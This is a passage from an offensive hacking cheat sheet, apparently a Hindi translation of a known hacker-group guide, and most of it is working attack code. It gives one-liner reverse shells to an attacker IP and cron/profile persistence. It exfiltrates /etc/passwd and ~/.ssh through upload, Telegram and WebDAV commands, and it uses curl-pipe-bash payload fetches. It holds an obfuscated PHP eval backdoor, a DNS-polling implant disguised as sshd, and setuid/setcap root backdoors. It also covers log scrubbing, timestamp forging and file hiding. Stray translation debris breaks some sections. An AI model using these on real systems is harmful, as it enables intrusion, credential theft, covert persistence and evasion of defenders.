ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

OpenSSL का उपयोग करके, केवल डाउनलोड करें:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

bash का उपयोग करके, केवल डाउनलोड करें:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

फिर एक फ़ाइल या निर्देशिका अपलोड करें:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

प्रेषक:```posh
rsync -av warez rsync://1.2.3.4:31337/up

प्रेषक:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

दूसरे सर्वर पर:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

या Windows पर WebDAV शेयर माउंट करें (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

इनपुट:```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

कनेक्शन के बाद, अपने शेल को पूर्ण रूप से इंटरैक्टिव PTY शेल में [अपग्रेड](#reverse-shell-interactive) करें। वैकल्पिक रूप से नेटकैट के बजाय [pwncat-cs](https://pwncat.org/) का उपयोग करें:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

वैकल्पिक रूप से, रिमोट सिस्टम पर, इसे `~/.profile` या crontab में डालें ताकि कनेक्ट-बैक शेल को पुनः प्रारंभ किया जा सके (और साथ ही कई इंस्टेंस शुरू होने से रोका जा सके):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

## श्रेय और आभार```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

विकल्प यदि *'-e'* समर्थित नहीं है:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Telnet वेरिएंट:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Note: लॉगिन के बाद `rm /tmp/.fio` करना न भूलें।



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe और ssh के साथ रिवर्स शेल (एन्क्रिप्टेड)**

कच्चे TCP (जैसे bash रिवर्स शेल) को [remote.moe](https://remote.moe) के माध्यम से टनल करना संभव है:

अपने वर्कस्टेशन पर:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

लक्ष्य पर (वैकल्पिक; ssh, bash और mkfifo की आवश्यकता है):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Perl के साथ रिवर्स शेल**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. रिवर्स शेल को PTY शेल में अपग्रेड करें**

उपरोक्त रिवर्स शेल में से कोई भी सीमित है। उदाहरण के लिए *sudo bash* या *top* काम नहीं करेगा। इन्हें कार्यशील बनाने के लिए हमें शेल को वास्तविक PTY शेल में अपग्रेड करना होगा:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. रिवर्स शेल को पूर्ण इंटरैक्टिव शेल में अपग्रेड करें**

...और अगर हम Ctrl-C आदि का उपयोग करना चाहते हैं, तो हमें पूरी तरह से जाकर रिवर्स शेल को एक वास्तविक पूर्ण रंगीन इंटरैक्टिव शेल में अपग्रेड करना होगा:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

Please provide the Markdown content to translate.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---

<a id="backdoor"></a>
## 6. बैकडोर

सरल 1-लाइनर रिवर्स शेल के लिए [Reverse Shell / Dumb Shell](#reverse-shell) देखें।

<a id="gsnc"></a>
**6.i. gs-netcat का उपयोग करके रिवर्स शेल**

अधिकतर हम gs-netcat के स्वचालित डिप्लॉयमेंट स्क्रिप्ट का उपयोग करते हैं: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)।```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

या अपना स्वयं का डिप्लॉयमेंट सर्वर चलाकर gsocket को डिप्लॉय करें:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

या साधारण तरीका:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

यह कैसे काम करता है:
- SSHD होस्ट कुंजी केवल एक सामान्य ed25519 कुंजी होती है।
- कोई भी ed25519 कुंजी किसी उपयोगकर्ता को प्रमाणित करने के लिए इस्तेमाल की जा सकती है।
- SSHD `~/.ssh/authorized_keys` की जाँच करता है (लेकिन यह ट्रिक बहुत अधिक उपयोग की जा चुकी है)।
- इसके बजाय, SSHD को `/etc/ssh/sshd_host_ed25519_key.pub` की भी जाँच करने के लिए कॉन्फ़िगर करें ताकि लॉगिन-ऑथेंटिकेशन-कुंजियाँ देखी जा सकें।
- SSHD अब वैध लॉगिन कुंजियों के लिए `~/.ssh/authorized_keys` _और_ `/etc/ssh/ssh_host_ed25519_key.pub` की जाँच करेगा।
- लक्ष्य में लॉग इन करने के लिए `/etc/ssh/sshd_host_ed25519_key` गुप्त कुंजी का उपयोग करें।

<a id="backdoor-network"></a>
**6.vi. पूरे नेटवर्क तक दूरस्थ पहुँच**

[gs-netcat](https://github.com/hackerschoice/gsocket) इंस्टॉल करें। यह होस्ट के निजी LAN पर एक SOCKS exit-node बनाता है जो Global Socket Relay Network के माध्यम से सुलभ होता है, बिना अपना खुद का relay-server चलाने की आवश्यकता के (उदाहरण के लिए, अपने वर्कस्टेशन से दूरस्थ निजी LAN तक सीधे पहुँचें):```sh
gs-netcat -l -S       # compromised Host

पढ़ें [Socks प्रॉक्सी के माध्यम से किसी भी टूल का उपयोग करें](#scan-proxy)।

अन्य तरीके:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - हमारा अपना लेख
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net से किसी भी (आंतरिक) नेटवर्क तक।

<a id="php-backdoor"></a>
**6.v. सबसे छोटा PHP बैकडोर**

किसी भी PHP फ़ाइल की शुरुआत में यह पंक्ति जोड़ें:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

बैकडोर का परीक्षण करें:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

इनमें से किसी के साथ ट्रिगर करके कमांड या PHP कोड निष्पादित करें:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

यह इम्प्लांट `b00m.team-teso.net` डोमेन से DNS TXT-अनुरोध के माध्यम से पेलोड का अनुरोध करता है। ट्रिगर होने पर, यह `/tmp/.b00m` बनाता है और THC को सूचित करता है (app.interactsh.com कॉलबैक के माध्यम से)। *कृपया* अपना स्वयं का डोमेन उपयोग करें और अपना स्वयं का पेलोड भी बनाएं। उदाहरण:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

या डेमो-पेलोड को एक विस्तृत पेलोड के लिए बदलें:
- कमांड निष्पादन के लिए हर घंटे पोल करने हेतु एक पृष्ठभूमि डेमॉन प्रारंभ करता है।
- केवल bash, dig और base64 पर निर्भर करता है।
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` के रूप में छिपता है।
- उदाहरण फिर से `b00m2.team-teso.net` का उपयोग करता है और हर घंटे /tmp/.b00m बनाता है।

1-लाइन इम्प्लांट उत्पन्न करने के लिए निम्नलिखित को लक्ष्य के शेल में कट & पेस्ट करें:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...PERL में:
---
वही लेकिन केवल perl + bash की आवश्यकता है (dig नहीं):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

अपना पेलोड जनरेट करें (`egg.py` लक्ष्य पर निष्पादित किया जाएगा):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. स्थानीय रूट बैकडोर**

#### 1. setcap के साथ डायनामिक लोडर को बैकडोर करना```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. अच्छा पुराना b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. स्व-निष्कर्षण इम्प्लांट**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) का उपयोग करके एक स्व-निष्कर्षण शेल-स्क्रिप्ट बनाएं (उदाहरणों के लिए स्रोत देखें)।

सरल उदाहरण:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. `egg.sh` का नाम बदलकर `update-for-fools.txt` करें और [Signal के](https://www.signal.org/) GitHub रिपॉज़िटरी में blob के रूप में अपलोड करें।

3. इस कमांड का उपयोग करके Signal को अपडेट करने के लिए लोगों को मूर्ख न बनाएं ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

या```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

सिस्टम की गति जाँच करें```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

सभी लिखने योग्य डायरेक्टरीज़ खोजें:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- [PassDetective](https://github.com/aydinnyunus/PassDetective) का उपयोग ~/.*history में पासवर्ड खोजने के लिए करें
- [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) का उपयोग चल रही प्रक्रिया से Chrome पासवर्ड निकालने और डिक्रिप्ट करने के लिए करें (केवल विंडोज़)
- ब्राउज़रों से पासवर्ड निकालने के लिए [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) का उपयोग करें

`grep` का उपयोग करना:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. शेल हैक्स
<a id="shred"></a>
**8.i. Shred और एक फ़ाइल मिटाएँ**```sh
shred -z foobar.txt

नोट: या अपनी फ़ाइलों को */dev/shm* डायरेक्टरी में रखें ताकि हार्डड्राइव पर कोई डेटा न लिखा जाए। रीबूट पर डेटा हटा दिया जाएगा।

नोट: या फ़ाइल को हटाएँ और फिर पूरी हार्डड्राइव को /dev/urandom से भर दें और फिर डंप फ़ाइल को rm -rf करें।

<a id="restore-timestamp"></a>
**8.ii. किसी फ़ाइल की तारीख़ पुनर्स्थापित करें**

मान लीजिए आपने */etc/passwd* संशोधित किया है, लेकिन फ़ाइल की तारीख़ अब दिखाती है कि */etc/passwd* संशोधित हो चुका है। फ़ाइल की तारीख़ को किसी अन्य फ़ाइल की तारीख़ में बदलने के लिए *touch* का उपयोग करें (इस उदाहरण में, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

यह लॉग फ़ाइल से IP `1.2.3.4` वाली किसी भी पंक्ति को हटा देगा:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. उस उपयोगकर्ता से रूट विशेषाधिकार के बिना फ़ाइलें छिपाएँ**

हमारी पसंदीदा कार्यशील निर्देशिका */dev/shm/* है। यह स्थान अस्थिर मेमोरी है और रीबूट पर खो जाएगा। कोई लॉग नहीं == कोई अपराध नहीं।

स्थायी फ़ाइलें छिपाना:

विधि 1:```sh
alias ls='ls -I system-dev'

विधि 3:
Unix लगभग किसी भी ASCII वर्ण को फ़ाइलनाम में अनुमति देता है, लेकिन 0x00 को नहीं। टैब (*\t*) आज़माएँ। ऐसा होता है कि अधिकांश एडमिन किसी भी ऐसी निर्देशिका में cd करना नहीं जानते।```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. sudo/su के बिना उपयोगकर्ता बदलें**